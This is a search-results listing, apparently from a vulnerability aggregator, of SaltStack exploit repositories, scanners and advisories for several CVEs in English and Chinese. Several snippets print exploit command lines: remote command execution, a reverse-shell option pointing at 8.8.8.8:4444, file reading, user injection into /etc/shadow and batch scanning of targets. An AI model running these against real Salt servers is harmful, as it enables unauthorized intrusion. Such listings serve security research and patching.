888 matches found
SaltStack-Exp
SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...
sift
SIFT 这是一个元数据仓库，主要用于讨论和问题追踪。 cast -- 安装 CLI saltstack -- 实际执行安装的状态文件 packer -- 使用上述工具构建机器镜像 package-scripts -- 构建托管在 SIFT PPA 中的某些软件包 支持的发行版 20.04 Ubuntu Focal 22.04 Ubuntu Jammy 安装 Cast 是 SIFT CLI 的替代品。虽然 SIFT CLI 应能继续使用，但它已于 2023 年 3 月 1 日正式弃用，之后不再保证可用。 您必须首先安装 CLI 工具，然后才能安装 SIFT。...
salt-rce-scanner-CVE-2020-11651-CVE-2020-11652
¿Qué es? Herramienta de escaneo para probar vulnerabilidades de SaltStack CVE-2020-11651 y CVE-2020-11652. Las vulnerabilidades permiten a un atacante que puede conectarse al puerto del "servidor de solicitudes" eludir todos los controles de autenticación y autorización y publicar mensajes de...
CVE-2020-28243
CVE-2020-28243 SaltStack的Salt中存在一个命令注入漏洞，当master调用restartcheck时，minion上经过特殊构造的进程名称可实现权限提升。完整分析请参见这篇博客文章 受影响版本： 2016.3.0rc2 至 3002.2 之间的所有版本 链接： Mitre, NVD 需求 要使此漏洞利用生效，需要满足以下条件： 版本在 2016.3.0rc2 至 3002.5 之间的 SaltStack Minion 对 SaltStack 未明确忽略的目录具有写/执行权限 Master 需要在此 minion 上调用...
CVE-2020-16846-Saltstack-Salt-API
CVE-2020-16846-Saltstack-Salt-API 漏洞说明：在 SaltStack Salt 至 3002 版本中发现了一个问题。当 SSH 客户端启用时，向 Salt API 发送特制的 Web 请求可能导致 shell 注入。关于此漏洞的详细信息可在此处找到： https://www.zerodayinitiative.com/blog/2020/11/24/detailing-saltstack-salt-command-injection-vulnerabilities 为了练习和学习目的，我决定创建一个存在漏洞的实例并利用它。...
CVE-2021-25281
CVE-2021-25281 利用CVE-2021-25281和CVE-2021-25282的链式攻击来利用SaltStack...
CVE-2020-11652
CVE-2020-11652 saltstack CVE-2020-11652 参考 https://github.com/jasperla/CVE-2020-11651-poc...
CVE-2020-11651
CVE-2020-11651 SaltStack Salt 在 2019.2.4 之前版本以及 3000 在 3000.2 之前版本中发现了一个问题。salt-master 进程中的 ClearFuncs 类未能正确验证方法调用。这允许远程用户在没有认证的情况下访问某些方法。这些方法可用于从 salt master 检索用户令牌，以及/或者在 salt minions 上执行任意命令。 详情 补丁 适用于不受支持的 salt 版本 安装 root@kitploit: git clone https://github.com/0xc0d/CVE-2020-11651.git...
SaltStack Salt <3002.5 - Auth Bypass
SaltStack Salt before 3002.5 does not honor eauth credentials for the wheelasync client, allowing attackers to remotely run any wheel modules on the master. id: CVE-2021-25281 info: name: SaltStack Salt 3002.5 - Auth Bypass author: madrobot severity: critical description: SaltStack Salt before...
CVE-2020-11652
SaltStack-Exp CVE-2020-11651 CVE-2020-11652 执行主控端： root@kitploit: python exp.py --exec-choose master --exec-cmd "whoami" 执行被控端： root@kitploit: python exp.py --exec-choose minions --exec-cmd "whoami" 获取Shell： root@kitploit: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 读取文件： root@kitploit...
SaltStack <=3002 - Shell Injection
SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client. id: CVE-2020-16846 info: name: SaltStack =3003 to mitigate this vulnerability. reference: -...
CVE-2020-11651
CVE-2020-11651 CVE-2020-11651 的 PoC 需要 Python3，已在 3.8 上测试 python3.8 -m pip install pyzmq msgpack root@kitploit: ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server IP or Host...
CVE-2020-11651
CVE-2020-11651 一个利用 SaltStack CVE-2020-11651 和 CVE-2020-11652 漏洞的脚本，通过向 /etc/passwd 和 /etc/shadow 注入记录，将新用户添加到易受攻击的 Salt 主节点。 root@kitploit: Exploit Title: Saltstack 3000.1 - Remote Code Execution 日期: 2020-05-04 原始漏洞作者: Jasper Lievisse Adriaanse 修改作者: Drew Alleman 厂商主页: https://www.saltstack.com/...
cve-2020-11651-exp-plus
使用bash执行 --exec 参数，原来的脚本是/bin/sh，所以有些命令不兼容比如bash反弹shell 2. 原来的代码会获取本地salt-master的版本来判断远程主机是否受影响，很明显的逻辑错误。我直接删掉了相关代码。 3. 添加批量扫描功能 python saltstack.py -b targetsfile.txt --threads 16 ,targetfile.txt内容如下 root@kitploit: 127.0.0.1:4506 192.168.1.1:4506 安装依赖 pip install salt...
PYSEC-2026-748 SaltStack RSA Key Generation allows remote users to decrypt communications
SaltStack RSA Key Generation allows remote users to decrypt communications...
VulnCheck KEV: CVE-2021-25281
An issue was discovered in through SaltStack Salt before 3002.5. salt-api does not honor eauth credentials for the wheelasync client. Thus, an attacker can remotely run any wheel modules on the master...
CVE-2021-33226
Buffer Overflow vulnerability in Saltstack v.3003 and before allows attacker to execute arbitrary code via the func variable in salt/salt/modules/status.py file. NOTE: this is disputed by third parties because an attacker cannot influence the eval input...
SaltStack Salt 安全漏洞
SaltStack Salt is a set of open-source tools developed by SaltStack Corporation for managing infrastructure. This tool offers features such as configuration management and remote execution. There is a security vulnerability in SaltStack Salt, which stems from a degradation of the authentication...
